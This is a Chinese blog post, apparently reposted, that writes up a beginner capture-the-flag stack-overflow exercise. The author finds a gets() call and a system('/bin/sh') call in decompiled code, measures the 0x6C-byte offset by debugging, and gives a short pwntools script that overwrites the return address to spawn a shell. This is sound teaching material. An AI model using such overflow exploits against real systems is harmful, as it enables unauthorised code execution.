首页 > 其他 > 详细

栈溢出-pwn练习1

时间:2020-12-07 23:10:06      阅读:44      评论:0      收藏:0      [点我收藏+]

 

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   char s; // [esp+1Ch] [ebp-64h]
 4 
 5   setvbuf(stdout, 0, 2, 0);
 6   setvbuf(_bss_start, 0, 1, 0);
 7   puts("There is something amazing here, do you know anything?");
 8   gets(&s);
 9   printf("Maybe I will tell you next time !");
10   return 0;
11 }

打开IDA,发现第8行有gets函数。

 1 void secure()
 2 {
 3   unsigned int v0; // eax
 4   int input; // [esp+18h] [ebp-10h]
 5   int secretcode; // [esp+1Ch] [ebp-Ch]
 6 
 7   v0 = time(0);
 8   srand(v0);
 9   secretcode = rand();
10   __isoc99_scanf((const char *)&unk_8048760, &input);
11   if ( input == secretcode )
12     system("/bin/sh");
13 }

然后发现有system("/bin/sh"),所以就可以直接利用gets函数覆盖返回地址,转到这里就可以拿到shell了。

技术分享图片

 

在这里可以看到,要溢出的变量s,在ida中显示的位置是ebp-64h,但是实际上通过动态调试,才知道这个数不对。

技术分享图片

 

 在这里输入的数据是0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901AAAA,从图中可以看到,输入位置的栈帧与ebp的距离有6C字节。

技术分享图片

 

 

接下来就要写脚本了,首先我是把这个secure函数的首地址作为返回地址去进行覆盖的(即这里的080485fd)。结果发现不行,然后就再看这个函数的反汇编。

技术分享图片

 

 当时就想着再次进行栈溢出覆盖,把这里的if给绕过,后来试了好多次,也没成功。原因可能是这个scanf虽然能够接受任意长度的变量,但这里的参数是%d,也就是说只能输入整数,所以即使再怎么输入,也只能正常的输入4个字节数据。当然也有可能是我构造的payload不对。总之没有成功。

技术分享图片

 后来才知道,直接把返回地址改成这个system函数开始的地方就可以了,根本用不着绕过啥的。

1 from pwn import *
2 io=process(./pwn1)
3 payload=bA*112+p32(0x0804863A)
4 io.send(payload)
5 io.interactive()

这个题给我的启发挺大的,之前的思维定势太大了,看到需要返回函数地址的,就习惯性的把首地址传过去,但是实际上,只要是正常的汇编指令,修改一下eip,都可以直接执行。

栈溢出-pwn练习1

原文:https://www.cnblogs.com/sweetbaby/p/14099939.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!